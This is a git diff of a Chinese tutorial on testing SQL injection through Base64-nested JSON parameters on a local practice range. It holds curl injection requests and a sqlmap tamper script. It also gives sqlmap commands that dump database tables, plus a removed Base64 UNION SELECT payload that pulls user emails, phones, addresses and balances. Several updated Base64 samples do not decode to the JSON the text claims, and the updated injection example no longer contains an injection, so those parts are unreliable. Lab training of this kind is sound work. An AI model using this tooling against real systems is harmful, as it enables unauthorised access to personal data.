66
77某些 API 接口使用嵌套加密参数结构:
88- 外层是标准 JSON 格式
9- - 其中某个字段(如 ` content ` )包含 Base64 编码的数据
9+ - 其中某个字段(如 ` data ` )包含 Base64 编码的数据
1010- Base64 解码后是另一个 JSON,包含实际的业务参数
1111- 内层参数存在 SQL 注入漏洞
1212
1515``` json
1616{
1717 "req_id" : " 123456" ,
18- "content " : " eyJuYW1lIjogIkFsaWNlIiwgImFnZSI6IDE4fQ =="
18+ "data " : " eyJjb3Vwb25fY29kZSI6ICJTQVZFMTAIFQ =="
1919}
2020```
2121
22- ` content ` 字段 Base64 解码后:
22+ ` data ` 字段 Base64 解码后:
2323``` json
24- {"name " : " Alice " , "age" : 18 }
24+ {"coupon_code " : " SAVE10 " }
2525```
2626
27- 注入点在 ` name ` 字段。
27+ 注入点在 ` coupon_code ` 字段。
2828
2929## VulnShop 靶场测试接口
3030
3131靶场提供了以下测试接口:
3232
3333| 接口 | 注入类型 | 说明 |
3434| ------| ----------| ------|
35- | ` POST /api/encrypted/user/ query ` | 基于错误的注入 | 查询用户 ,返回错误信息 |
36- | ` POST /api/encrypted/product/ search ` | 布尔盲注 | 商品搜索 |
37- | ` POST /api/encrypted/order/query ` | 时间盲注 | 订单查询 |
38- | ` POST /api/encrypted /debug/decode ` | 调试 | 解码 content 字段 |
39- | ` POST /api/encrypted /debug/encode ` | 调试 | 编码 content 字段 |
35+ | ` POST /api/coupon/ query ` | 基于错误的注入 | 查询优惠券 ,返回错误信息 |
36+ | ` POST /api/coupon/ search ` | 布尔盲注 | 优惠券搜索 |
37+ | ` POST /api/coupon/by-category ` | 时间盲注 | 按分类查询优惠券 |
38+ | ` POST /api/coupon /debug/decode ` | 调试 | 解码 data 字段 |
39+ | ` POST /api/coupon /debug/encode ` | 调试 | 编码 data 字段 |
4040
4141## 手动测试方法
4242
4343### 1. 使用调试接口准备 payload
4444
4545``` bash
4646# 编码 payload
47- curl -X POST http://127.0.0.1:9527/api/encrypted /debug/encode \
47+ curl -X POST http://127.0.0.1:9527/api/coupon /debug/encode \
4848 -H " Content-Type: application/json" \
49- -d ' {"data":{"name ":"admin","age":18 }}'
49+ -d ' {"data":{"coupon_code ":"SAVE10" }}'
5050
51- # 响应:{"encoded": "eyJuYW1lIjogImFkbWluIiwgImFnZSI6IDE4fQ =="}
51+ # 响应:{"success": true, " encoded": "eyJjb3Vwb25fY29kZSI6ICJTQVZFMTAIFQ =="}
5252```
5353
5454### 2. 发送注入请求
5555
5656``` bash
5757# 正常请求
58- curl -X POST http://127.0.0.1:9527/api/encrypted/user /query \
58+ curl -X POST http://127.0.0.1:9527/api/coupon /query \
5959 -H " Content-Type: application/json" \
60- -d ' {"req_id":"1","content ":"eyJuYW1lIjogImFkbWluIiwgImFnZSI6IDE4fQ =="}'
60+ -d ' {"req_id":"1","data ":"eyJjb3Vwb25fY29kZSI6ICJTQVZFMTAIFQ =="}'
6161
6262# SQL 注入(Base64 编码的 payload)
63- curl -X POST http://127.0.0.1:9527/api/encrypted/user /query \
63+ curl -X POST http://127.0.0.1:9527/api/coupon /query \
6464 -H " Content-Type: application/json" \
65- -d ' {"req_id":"1","content ":"eyJuYW1lIjogImFkbWluJyBVTklPTiBTRUxFQ1QgaWQsIHVzZXJuYW1lLCBlbWFpbCwgcGhvbmUsIGFkZHJlc3MsIGJhbGFuY2UgRlJPTSB1c2Vycy0tIiwgImFnZSI6IDE4fQ =="}'
65+ -d ' {"req_id":"1","data ":"eyJjb3Vwb25fY29kZSI6ICJTQVZFMTANIFQ =="}'
6666```
6767
6868## SQLMap 自动化测试
6969
7070### 使用 Tamper 脚本
7171
72- 创建 ` base64_nested .py` 文件 (放在 SQLMap 的 tamper 目录 ):
72+ 使用本目录下的 ` tamper_script .py` (放在 SQLMap 的 tamper 目录或使用完整路径 ):
7373
7474``` python
75- # !/usr/bin/env python3
75+ # !/usr/bin/env python
7676import base64
7777import json
7878from lib.core.enums import PRIORITY
7979from lib.core.settings import UNICODE_ENCODING
8080
8181__priority__ = PRIORITY .NORMAL
8282
83+ INNER_PARAM = " coupon_code"
84+ INNER_DATA_TEMPLATE = {}
85+
8386def dependencies ():
8487 pass
8588
@@ -89,23 +92,14 @@ def tamper(payload, **kwargs):
8992 """
9093 if not payload:
9194 return payload
92-
95+
9396 try :
94- # 移除原始 "test" 前缀
95- injection = payload
96- if payload.startswith(" test" ):
97- injection = payload[4 :]
98-
99- # 构建内层 JSON
100- inner_data = {
101- " name" : " test" + injection,
102- " age" : 18
103- }
104-
105- # Base64 编码
97+ inner_data = INNER_DATA_TEMPLATE .copy()
98+ inner_data[INNER_PARAM ] = payload
99+
106100 inner_json = json.dumps(inner_data, ensure_ascii = False )
107101 encoded = base64.b64encode(inner_json.encode(UNICODE_ENCODING )).decode(UNICODE_ENCODING )
108-
102+
109103 return encoded
110104 except :
111105 return payload
@@ -114,40 +108,42 @@ def tamper(payload, **kwargs):
114108### 运行 SQLMap
115109
116110``` bash
117- python sqlmap.py -u " http://127.0.0.1:9527/api/encrypted/user /query" \
118- --data=' {"req_id":"1","content ":"test"}' \
119- --tamper=base64_nested \
120- -p content \
111+ python sqlmap.py -u " http://127.0.0.1:9527/api/coupon /query" \
112+ --data=' {"req_id":"1","data ":"test"}' \
113+ --tamper=tamper_script \
114+ -p data \
121115 --batch
122116```
123117
124118### 提取数据
125119
126120``` bash
127121# 获取表名
128- python sqlmap.py -u " http://127.0.0.1:9527/api/encrypted/user /query" \
129- --data=' {"req_id":"1","content ":"test"}' \
130- --tamper=base64_nested -p content --batch --tables
122+ python sqlmap.py -u " http://127.0.0.1:9527/api/coupon /query" \
123+ --data=' {"req_id":"1","data ":"test"}' \
124+ --tamper=tamper_script -p data --batch --tables
131125
132126# 获取列名
133- python sqlmap.py -u " http://127.0.0.1:9527/api/encrypted/user /query" \
134- --data=' {"req_id":"1","content ":"test"}' \
135- --tamper=base64_nested -p content --batch --columns -T users
127+ python sqlmap.py -u " http://127.0.0.1:9527/api/coupon /query" \
128+ --data=' {"req_id":"1","data ":"test"}' \
129+ --tamper=tamper_script -p data --batch --columns -T coupons
136130
137131# 导出数据
138- python sqlmap.py -u " http://127.0.0.1:9527/api/encrypted/user /query" \
139- --data=' {"req_id":"1","content ":"test"}' \
140- --tamper=base64_nested -p content --batch --dump -T users
132+ python sqlmap.py -u " http://127.0.0.1:9527/api/coupon /query" \
133+ --data=' {"req_id":"1","data ":"test"}' \
134+ --tamper=tamper_script -p data --batch --dump -T coupons
141135```
142136
143137### 使用 Preprocess 脚本(推荐复杂场景)
144138
145139当需要修改整个请求(包括 headers、多字段处理、响应解码等)时,使用 preprocess 脚本更合适。
146140
141+ ** 工作原理** :SQLMap 将其 payload 作为纯字符串注入 ` data ` 字段,preprocess 函数在发送前对该字段值进行 Base64 编码;postprocess 函数在收到响应后对 ` data ` 字段进行 Base64 解码,让 SQLMap 能够读取明文内容。
142+
147143#### Preprocess vs Tamper 的区别
148144
149145| 特性 | Tamper 脚本 | Preprocess 脚本 |
150- | ------| -------------| -----------------|
146+ | ------| -------------| ------------------ |
151147| 作用范围 | 只修改注入参数值 | 修改整个 HTTP 请求 |
152148| 调用时机 | SQLMap 生成 payload 后 | 请求发送前 |
153149| 功能 | 编码/加密 payload | 修改 headers、body、处理响应等 |
@@ -156,10 +152,10 @@ python sqlmap.py -u "http://127.0.0.1:9527/api/encrypted/user/query" \
156152#### Preprocess 脚本使用
157153
158154``` bash
159- python sqlmap.py -u " http://127.0.0.1:9527/api/encrypted/user /query" \
160- --data=' {"req_id":"1","content ":"eyJuYW1lIjoidGVzdCIsImFnZSI6MTh9 "}' \
155+ python sqlmap.py -u " http://127.0.0.1:9527/api/coupon /query" \
156+ --data=' {"req_id":"1","data ":"{\"coupon_code\":\"SAVE10\"} "}' \
161157 --preprocess=preprocess_script.py \
162- -p content \
158+ -p data \
163159 --batch
164160```
165161
@@ -186,11 +182,11 @@ python sqlmap.py -u "http://127.0.0.1:9527/api/encrypted/user/query" \
1861823 . 手动构造请求:
187183
188184```
189- POST /api/encrypted/user /query HTTP/1.1
185+ POST /api/coupon /query HTTP/1.1
190186Host: 127.0.0.1:9527
191187Content-Type: application/json
192188
193- {"req_id":"1","content ":"eyJuYW1lIjoiYWRtaW4iLCAiYWdlIjoxOH0 ="}
189+ {"req_id":"1","data ":"eyJjb3Vwb25fY29kZSI6ICJTQVZFMTAIFQ= ="}
194190```
195191
1961924 . 在 "高级配置" 中添加 tamper 脚本路径
@@ -215,7 +211,7 @@ Content-Type: application/json
215211 - ** 使用完整路径** :` --tamper=/absolute/path/to/script.py ` 或 ` --preprocess=/absolute/path/to/script.py `
216212
2172133 . ** 响应处理** :
218- - 靶场的响应也是 Base64 编码的
214+ - 靶场的响应 ` data ` 字段也是 Base64 编码的
219215 - SQLMap 可能无法自动解析响应内容
220216 - 建议结合手动验证使用
221217
0 commit comments